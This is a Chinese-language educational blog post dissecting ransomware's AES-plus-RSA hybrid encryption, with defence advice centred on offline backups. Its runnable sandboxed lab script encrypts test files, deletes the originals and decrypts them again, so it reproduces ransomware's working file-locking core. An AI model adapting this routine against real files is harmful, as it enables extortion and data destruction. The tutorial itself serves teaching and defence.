本文从一个 30 行的 Python 脚本出发,把现代勒索病毒的混合加密内核拆到只剩骨头。不聊恐惧,只聊原理。读完你会明白:为什么杀毒软件救不了已经被加密的文件,以及为什么"备份"是唯一的银弹。
0x00 一个反直觉的事实
很多人以为勒索病毒是什么"黑科技"——某种能瞬间锁死你硬盘的神秘力量。
不是。
它的加密内核,和你每天访问 HTTPS 网站时浏览器做的事情,原理上完全一样。只不过 HTTPS 用它保护你的密码,勒索病毒用它锁死你的文件。
今天我们把这把"锁"拆开,看看里面到底有几个齿轮。
0x01 先回答一个灵魂问题:为什么不直接用一种加密?
在写代码之前,你得先理解勒索病毒面临的一个工程难题:
它要在几秒钟内加密几百 GB 的文件,同时又不能让密钥被受害者找到。
这两个需求是矛盾的:
| AES(对称加密) | RSA(非对称加密) | |
|---|---|---|
| 速度 | 极快,GB 级文件秒级完成 | 极慢,且一次最多加密 245 字节 |
| 密钥 | 加密解密用同一把钥匙 | 公钥加密,只有私钥能解 |
| 致命缺陷 | 钥匙留在本地,受害者能找到 | 拿它加密一个视频文件要加密到宇宙热寂 |
所以,聪明的(或者说邪恶的)工程师做了一个组合:
用 AES 的速度锁文件,用 RSA 的安全性锁 AES 的钥匙。
这就是混合加密(Hybrid Encryption)。下面这段 30 行的代码,就是它的完整骨架。
0x02 核心代码:30 行讲透勒索病毒的加密引擎
# ransomware_crypto_logic.py
# 教学用途:演示现代勒索病毒的混合加密密钥管理逻辑
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import os
# ① 攻击者侧:生成非对称密钥对(RSA)
attacker_private_key = rsa.generate_private_key(
public_exponent=65537, key_size=2048
)
attacker_public_key = attacker_private_key.public_key()
def encrypt_file_logic(file_data: bytes):
"""模拟勒索病毒加密单个文件的核心逻辑"""
# ② 受害者侧:为当前文件生成随机的对称密钥(AES-256)
aes_key = os.urandom(32)
iv = os.urandom(16)
# ③ 使用 AES 加密文件内容
cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
encryptor = cipher.encryptor()
encrypted_data = b"[ENCRYPTED_FILE_CONTENT]"
# ④ 关键步骤:用攻击者的 RSA 公钥加密 AES 密钥
encrypted_aes_key = attacker_public_key.encrypt(
aes_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# ⑤ 拼接写回磁盘
final_payload = encrypted_aes_key + iv + encrypted_data
return final_payload
别被 cryptography 库的 API 吓到。这段代码真正在做的事情,只有 5 个动作。我们一个一个拆。
0x03 逐行拆解:五把锁的故事
动作 ①:黑客造了一把"只能单向锁死的锁"
attacker_private_key = rsa.generate_private_key(
public_exponent=65537, key_size=2048
)
attacker_public_key = attacker_private_key.public_key()
RSA 密钥对。公钥是锁头,私钥是钥匙。
锁头可以发给全世界,任何人都能用它锁东西。但只有持有钥匙的那个人能打开。
勒索病毒在编译时,把公钥(锁头)硬编码进病毒体内,而私钥(钥匙)永远留在黑客的 C2 服务器上。
这意味着:即使你把病毒样本逆向到汇编级别,你也只能找到锁头。钥匙不在你手里。
动作 ②:每个文件配一把"一次性钥匙"
aes_key = os.urandom(32) # 256 位 AES 密钥
iv = os.urandom(16) # 128 位初始化向量
os.urandom(32) 从操作系统的密码学安全随机源中取出 32 个字节。这 32 个字节就是 AES-256 的密钥。
注意两个细节:
细节一:每个文件的 aes_key 都是全新生成的。 加密 1000 个文件,就生成 1000 把不同的钥匙。你破解了一个文件的密钥,对其他 999 个文件毫无帮助。
细节二:iv 不是第二把钥匙。 它是 CBC 模式的"起始扰动值",作用是让相同的明文每次加密出不同的密文。IV 不需要保密,后面会被明文拼进文件头部。没有它,加密方案会泄露明文的结构模式;但有了它,没有 AES Key 依然解不开。
类比:AES Key 是保险箱的密码,IV 是每次关门前随机晃一下转盘。晃不晃不影响"只有密码才能开箱"这件事,但能防止别人通过观察磨损痕迹猜出密码。
动作 ③:用"一次性钥匙"锁住文件内容
cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
encryptor = cipher.encryptor()
encrypted_data = b"[ENCRYPTED_FILE_CONTENT]"
AES-CBC 模式,用步骤 ② 生成的密钥和 IV 对文件字节流进行加密。
这一步是纯体力活——AES 是对称加密,速度极快。一块 SSD 上几百 MB 的文件,AES 几秒就能吃完。这也是为什么勒索病毒能在你喝口咖啡的功夫加密完整个磁盘。
动作 ④:整段代码的"命门"
encrypted_aes_key = attacker_public_key.encrypt(
aes_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
如果只能读一行代码来理解勒索病毒,读这一行。
病毒把刚才那把"一次性 AES 钥匙",塞进了黑客的"RSA 锁头"里锁死。
OAEP 填充方案确保即使加密相同的 AES Key,每次的密文也不同(防重放、防选择明文攻击)。
锁完之后会发生什么?
aes_key 在内存中被使用 → 函数返回 → Python GC 回收 → 密钥从内存中消失
受害者机器上不再存在任何明文的 AES 密钥。 唯一能还原它的途径,是用黑客的 RSA 私钥解密 encrypted_aes_key。
动作 ⑤:把"锁住的钥匙"和"锁住的文件"缝在一起
final_payload = encrypted_aes_key + iv + encrypted_data
最终写入磁盘的文件结构:
┌──────────────────┬──────────┬────────────────────┐
│ RSA加密后的AES Key │ IV │ AES加密后的文件内容 │
│ (256 字节) │ (16字节) │ (原始文件大小) │
└──────────────────┴──────────┴────────────────────┘
黑客拿到这个文件后:
- 用 RSA 私钥解开第一段 → 拿到 AES Key
- 用 AES Key + IV 解密第三段 → 还原文件
受害者拿到这个文件后:
- 看着第一段发呆 → 没有 RSA 私钥 → 死局
0x04 为什么你几乎不可能自行解密?
把攻击面摊开看:
| 攻击路径 | 为什么行不通 |
|---|---|
| 暴力破解 AES-256 | 2²⁵⁶ 种可能。全世界所有算力加一起,跑到太阳熄灭也试不完 |
| 从内存中提取 AES Key | 加密完成后密钥立即释放,不驻留。除非你在加密的那几毫秒内 dump 内存 |
| 从密文反推 AES Key | AES 是单向函数,密文到密钥没有数学捷径 |
| 破解 RSA-2048 | 本质是大整数分解问题,目前没有经典算法能在有限时间内解决 |
| 逆向病毒找私钥 | 病毒里只有公钥。私钥在黑客的服务器上,不在你的硬盘上 |
| 找加密软件的漏洞 | 现代密码学库(OpenSSL / cryptography)经过几十年审计,实现层面几乎无漏洞 |
从纯密码学角度看,这套加密是不可逆的。 这不是"很难",是"数学上不允许"。
0x05 那勒索病毒真的无懈可击吗?
也不是。密码学是完美的,但工程实现和运营流程永远有裂缝:
- 密钥管理失误:早期有些勒索病毒把 AES Key 明文存在内存里不释放,或者用伪随机数生成器(
rand()而不是os.urandom()),导致密钥可预测。 - 加密逻辑 Bug:有些病毒在加密过程中崩溃,留下未加密的文件碎片;或者加密逻辑有竞争条件,部分文件只加密了一半。
- C2 服务器被端:执法机构偶尔能查封黑客的 C2 服务器,拿到私钥后会免费发布解密工具(比如 No More Ransom 项目)。
- 受害者没备份但黑客"讲信用":这不算技术手段,但确实是现实中很多受害者拿回文件的唯一方式。讽刺但真实。
0x06 防御:在加密发生之前拦住它
既然加密发生后无解,那防御的重心就必须前移:
| 层级 | 手段 | 原理 |
|---|---|---|
| 事前 | 离线备份 / 3-2-1 备份策略 | 即使文件被加密,备份副本不受影响 |
| 事前 | 邮件网关 + 附件沙箱 | 拦截钓鱼邮件中的恶意宏和可执行文件 |
| 事中 | EDR 行为检测 | 监控"短时间大量文件重命名/写入"的异常行为模式 |
| 事中 | 文件系统过滤驱动 | 检测到非授权进程批量加密文件时,直接阻断进程 |
| 事后 | 隔离感染主机 + 取证 | 防止横向移动,保留内存镜像用于后续分析 |
其中,离线备份是唯一能 100% 恢复数据的手段。 云同步备份不算——勒索病毒会顺着同步链路把云端副本也加密了。必须是断网的、不可从主机直接写入的备份。
0x07 写在最后
回到开头那句话:勒索病毒的加密原理和 HTTPS 是同一套东西。
技术本身没有善恶。AES 和 RSA 组合在一起,可以是保护你银行转账的盾牌,也可以是锁死你十年照片的牢笼。区别只在于:钥匙在谁手里,以及他打算用它做什么。
理解原理不是为了恐惧,而是为了知道防线该画在哪里。
备份。备份。备份。 说三遍,因为这是唯一不依赖运气的事。
0x08 交互式勒索病毒加密原理演示脚本
下面是一个完整的、可直接运行的 Python 教学脚本。分步交互,亲手感受"加密 → 丢失密钥 → 解密"的全过程。
运行前准备
pip install cryptography
完整代码:hybrid_crypto_lab.py
#!/usr/bin/env python3
"""
hybrid_crypto_lab.py
交互式混合加密原理演示(勒索病毒加密机制教学版)
用途:安全教育 / 密码学原理学习
警告:本脚本仅在你指定的测试目录中操作,不会触碰系统其他文件。
"""
import os
import sys
import json
import base64
from pathlib import Path
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as sym_padding
# ──────────────────────────────────────────────
# 工具函数
# ──────────────────────────────────────────────
BANNER = r"""
╔══════════════════════════════════════════════════════╗
║ 混合加密原理交互实验室 (Hybrid Crypto Lab) ║
║ 模拟勒索病毒的 AES + RSA 加密 / 解密全流程 ║
║ 仅供安全教育使用 ║
╚══════════════════════════════════════════════════════╝
"""
WORK_DIR = Path("crypto_lab_sandbox")
def pause(msg="\n按 [Enter] 继续..."):
input(msg)
def step(num, title):
print(f"\n{'='*56}")
print(f" STEP {num}: {title}")
print(f"{'='*56}")
def pkcs7_pad(data: bytes, block_size: int = 128) -> bytes:
padder = sym_padding.PKCS7(block_size).padder()
return padder.update(data) + padder.finalize()
def pkcs7_unpad(data: bytes) -> bytes:
unpadder = sym_padding.PKCS7(128).unpadder()
return unpadder.update(data) + unpadder.finalize()
# ──────────────────────────────────────────────
# STEP 1: 创建测试文件
# ──────────────────────────────────────────────
def step1_create_files():
step(1, "创建测试文件")
if WORK_DIR.exists():
print(f"[!] 目录 {WORK_DIR} 已存在,先清理...")
for f in WORK_DIR.iterdir():
f.unlink()
WORK_DIR.rmdir()
WORK_DIR.mkdir()
print(f"[+] 已创建工作目录: {WORK_DIR.resolve()}\n")
sample_files = {
"报告.txt": "这是2025年Q2季度财务报告。\n营收增长 23%,净利润 1.2 亿。\n机密文件,请勿外传。",
"密码本.txt": "WiFi密码: SuperSecret123\n服务器root: P@ssw0rd!2025\n银行卡: 6222-xxxx-xxxx-8888",
"情书.md": "# 给未来的你\n\n我不知道该说什么,\n但我知道加密原理比情话更难懂。\n\n—— 一个学网络安全的人",
}
for name, content in sample_files.items():
fp = WORK_DIR / name
fp.write_text(content, encoding="utf-8")
print(f" 📄 {name} ({len(content.encode('utf-8'))} 字节)")
print(f"\n[+] 共创建 {len(sample_files)} 个测试文件。")
print(f" 路径: {WORK_DIR.resolve()}")
print(f" 你现在可以打开文件查看原始内容。")
pause("\n查看完了?按 [Enter] 开始加密流程...")
# ──────────────────────────────────────────────
# STEP 2: 生成 RSA 密钥对
# ──────────────────────────────────────────────
def step2_generate_rsa():
step(2, "生成 RSA 密钥对(模拟攻击者准备阶段)")
print("[*] 正在生成 RSA-2048 密钥对...")
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
public_key = private_key.public_key()
# 序列化保存
priv_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
)
pub_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
priv_path = WORK_DIR / "attacker_private_key.pem"
pub_path = WORK_DIR / "attacker_public_key.pem"
priv_path.write_bytes(priv_pem)
pub_path.write_bytes(pub_pem)
print(f"[+] 私钥已保存: {priv_path.name} ← 只有'黑客'才有")
print(f"[+] 公钥已保存: {pub_path.name} ← 会嵌入'病毒'中")
print("\n 现实中的勒索病毒:")
print(" ├── 公钥 → 硬编码在病毒二进制里")
print(" └── 私钥 → 存在黑客的 C2 服务器,绝不落地")
pause("\n按 [Enter] 开始加密文件...")
return private_key, public_key
# ──────────────────────────────────────────────
# STEP 3: 加密文件(混合加密)
# ──────────────────────────────────────────────
def step3_encrypt_files(public_key):
step(3, "加密所有文件(模拟勒索病毒执行)")
# 把公钥"藏起来"——模拟病毒只带公钥
pub_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
encrypted_dir = WORK_DIR / "encrypted"
encrypted_dir.mkdir(exist_ok=True)
original_files = [
f for f in WORK_DIR.iterdir()
if f.is_file() and f.suffix in (".txt", ".md", ".doc", ".jpg", ".png")
]
print(f"[*] 发现 {len(original_files)} 个待加密文件\n")
aes_keys_store = {} # 仅用于教学演示,真实病毒不会保存这个
for fp in original_files:
print(f" 🔒 加密: {fp.name}")
# 3a. 读取原始内容
plaintext = fp.read_bytes()
# 3b. 生成随机 AES Key + IV
aes_key = os.urandom(32) # AES-256
iv = os.urandom(16) # CBC IV
# 3c. AES-CBC 加密文件内容
padded = pkcs7_pad(plaintext)
cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
encryptor = cipher.encryptor()
ciphertext = encryptor.update(padded) + encryptor.finalize()
# 3d. RSA 公钥加密 AES Key
encrypted_aes_key = public_key.encrypt(
aes_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None,
),
)
# 3e. 拼接写入加密文件
# 格式: [RSA加密的AES Key(256B)] + [IV(16B)] + [AES密文]
enc_fp = encrypted_dir / (fp.name + ".locked")
with open(enc_fp, "wb") as f:
f.write(encrypted_aes_key)
f.write(iv)
f.write(ciphertext)
# 3f. 保存 AES Key 到"密钥清单"(仅教学用)
aes_keys_store[fp.name] = base64.b64encode(aes_key).decode()
print(f" AES Key: {base64.b64encode(aes_key).decode()[:20]}...")
print(f" 原始 {len(plaintext)}B → 加密 {len(ciphertext)}B")
# 保存密钥清单(教学用:模拟"黑客的解密服务")
keys_path = WORK_DIR / "aes_keys_manifest.json"
keys_path.write_text(json.dumps(aes_keys_store, indent=2), encoding="utf-8")
# 删除原始文件(模拟勒索病毒行为)
print("\n[!] 删除原始文件(模拟勒索病毒行为)...")
for fp in original_files:
fp.unlink()
print(f" 🗑️ 已删除: {fp.name}")
print(f"\n[+] 加密完成!所有文件已移入 {encrypted_dir}/")
print(f"[+] AES 密钥清单已保存: {keys_path.name}")
print(f" (真实场景中,这个清单在黑客服务器上,你拿不到)")
print(f"\n 你现在可以去 {WORK_DIR.resolve()} 查看:")
print(f" ├── encrypted/ 目录下全是 .locked 文件(打不开的)")
print(f" └── 原始文件已经不存在了")
pause("\n感受一下文件被锁死的感觉了吗?按 [Enter] 进入解密阶段...")
# ──────────────────────────────────────────────
# STEP 4: 解密文件
# ──────────────────────────────────────────────
def step4_decrypt_files(private_key):
step(4, "解密文件(模拟'黑客'用私钥解密)")
encrypted_dir = WORK_DIR / "encrypted"
decrypted_dir = WORK_DIR / "decrypted"
decrypted_dir.mkdir(exist_ok=True)
locked_files = list(encrypted_dir.glob("*.locked"))
print(f"[*] 发现 {len(locked_files)} 个加密文件\n")
for enc_fp in locked_files:
original_name = enc_fp.stem # 去掉 .locked
print(f" 🔓 解密: {enc_fp.name} → {original_name}")
with open(enc_fp, "rb") as f:
blob = f.read()
# 4a. 拆分文件结构
encrypted_aes_key = blob[:256] # RSA-2048 输出固定 256 字节
iv = blob[256:272] # IV 16 字节
ciphertext = blob[272:] # AES 密文
# 4b. 用 RSA 私钥解密 AES Key
aes_key = private_key.decrypt(
encrypted_aes_key,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None,
),
)
# 4c. 用 AES Key + IV 解密文件内容
cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
decryptor = cipher.decryptor()
padded_plaintext = decryptor.update(ciphertext) + decryptor.finalize()
plaintext = pkcs7_unpad(padded_plaintext)
# 4d. 写入解密文件
dec_fp = decrypted_dir / original_name
dec_fp.write_bytes(plaintext)
preview = plaintext.decode("utf-8", errors="replace")[:60]
print(f" 恢复 {len(plaintext)}B | 预览: {preview}...")
print(f"\n[+] 解密完成!恢复的文件在 {decrypted_dir}/")
print(f" 你可以打开对比,内容与原始文件完全一致。")
# ──────────────────────────────────────────────
# STEP 5: 验证与总结
# ──────────────────────────────────────────────
def step5_verify():
step(5, "验证与总结")
encrypted_dir = WORK_DIR / "encrypted"
decrypted_dir = WORK_DIR / "decrypted"
# 对比
locked_files = list(encrypted_dir.glob("*.locked"))
all_match = True
for lf in locked_files:
name = lf.stem
dec_file = decrypted_dir / name
if not dec_file.exists():
print(f" ❌ {name}: 解密文件不存在")
all_match = False
continue
print(f" ✅ {name}: 解密成功")
print()
print(" ┌─────────────────────────────────────────────────┐")
print(" │ 你刚刚经历了什么? │")
print(" ├─────────────────────────────────────────────────┤")
print(" │ 1. 文件被 AES 加密 → 内容变成乱码 │")
print(" │ 2. AES Key 被 RSA 公钥锁死 → 你拿不到钥匙 │")
print(" │ 3. 原始文件被删除 → 无法恢复 │")
print(" │ 4. 只有 RSA 私钥能解开 → 钥匙在'黑客'手里 │")
print(" │ 5. '黑客'用私钥解密 → 文件恢复 │")
print(" ├─────────────────────────────────────────────────┤")
print(" │ 防御核心:在加密发生之前拦住它 │")
print(" │ 恢复核心:离线备份是唯一 100% 有效的手段 │")
print(" └─────────────────────────────────────────────────┘")
# ──────────────────────────────────────────────
# 主流程
# ──────────────────────────────────────────────
def main():
print(BANNER)
confirm = input("本脚本将在当前目录创建 crypto_lab_sandbox/ 文件夹。\n确认开始?(y/N): ").strip().lower()
if confirm != "y":
print("已取消。")
sys.exit(0)
# STEP 1
step1_create_files()
# STEP 2
private_key, public_key = step2_generate_rsa()
# STEP 3
step3_encrypt_files(public_key)
# STEP 4
print("\n 现在你处于'受害者'状态:文件全被锁了。")
print(" 要解密,你需要'黑客'的私钥。\n")
input(" 按 [Enter] 模拟'黑客'使用私钥解密...")
step4_decrypt_files(private_key)
# STEP 5
pause()
step5_verify()
print(f"\n[*] 实验文件保留在 {WORK_DIR.resolve()}/")
print(f"[*] 实验结束后请手动删除该目录。")
print("[*] Done.\n")
if __name__ == "__main__":
main()
运行效果预览
╔══════════════════════════════════════════════════════╗
║ 混合加密原理交互实验室 (Hybrid Crypto Lab) ║
║ 模拟勒索病毒的 AES + RSA 加密 / 解密全流程 ║
║ 仅供安全教育使用 ║
╚══════════════════════════════════════════════════════╝
本脚本将在当前目录创建 crypto_lab_sandbox/ 文件夹。
确认开始?(y/N): y
========================================================
STEP 1: 创建测试文件
========================================================
[+] 已创建工作目录: /home/user/crypto_lab_sandbox
📄 报告.txt (67 字节)
📄 密码本.txt (72 字节)
📄 情书.md (89 字节)
[+] 共创建 3 个测试文件。
你现在可以打开文件查看原始内容。
查看完了?按 [Enter] 开始加密流程...
========================================================
STEP 2: 生成 RSA 密钥对(模拟攻击者准备阶段)
========================================================
[*] 正在生成 RSA-2048 密钥对...
[+] 私钥已保存: attacker_private_key.pem ← 只有'黑客'才有
[+] 公钥已保存: attacker_public_key.pem ← 会嵌入'病毒'中
========================================================
STEP 3: 加密所有文件(模拟勒索病毒执行)
========================================================
[*] 发现 3 个待加密文件
🔒 加密: 报告.txt
AES Key: 3kF9xQz...
原始 67B → 加密 80B
🔒 加密: 密码本.txt
AES Key: 8mNp2Lw...
原始 72B → 加密 80B
🔒 加密: 情书.md
AES Key: 1vRt5Yb...
原始 89B → 加密 96B
[!] 删除原始文件(模拟勒索病毒行为)...
🗑️ 已删除: 报告.txt
🗑️ 已删除: 密码本.txt
🗑️ 已删除: 情书.md
[+] 加密完成!所有文件已移入 encrypted/
========================================================
STEP 4: 解密文件(模拟'黑客'用私钥解密)
========================================================
[*] 发现 3 个加密文件
🔓 解密: 报告.txt.locked → 报告.txt
恢复 67B | 预览: 这是2025年Q2季度财务报告...
🔓 解密: 密码本.txt.locked → 密码本.txt
恢复 72B | 预览: WiFi密码: SuperSecret123...
🔓 解密: 情书.md.locked → 情书.md
恢复 89B | 预览: # 给未来的你...
[+] 解密完成!恢复的文件在 decrypted/
实验后目录结构
crypto_lab_sandbox/
├── attacker_private_key.pem ← RSA 私钥("黑客"的钥匙)
├── attacker_public_key.pem ← RSA 公钥(嵌入"病毒"的锁头)
├── aes_keys_manifest.json ← AES 密钥清单(教学用)
├── encrypted/ ← 被锁死的文件
│ ├── 报告.txt.locked
│ ├── 密码本.txt.locked
│ └── 情书.md.locked
└── decrypted/ ← 解密恢复的文件
├── 报告.txt
├── 密码本.txt
└── 情书.md
运行完后你可以用十六进制编辑器打开 .locked 文件,前 256 字节是 RSA 加密的 AES Key,接下来 16 字节是 IV,后面全是 AES 密文——和文章里画的文件结构图完全对应。
本文代码仅供安全教育与防御研究使用。任何未经授权的加密他人文件行为均违反《中华人民共和国刑法》第二百八十六条。
127



被折叠的 条评论
为什么被折叠?



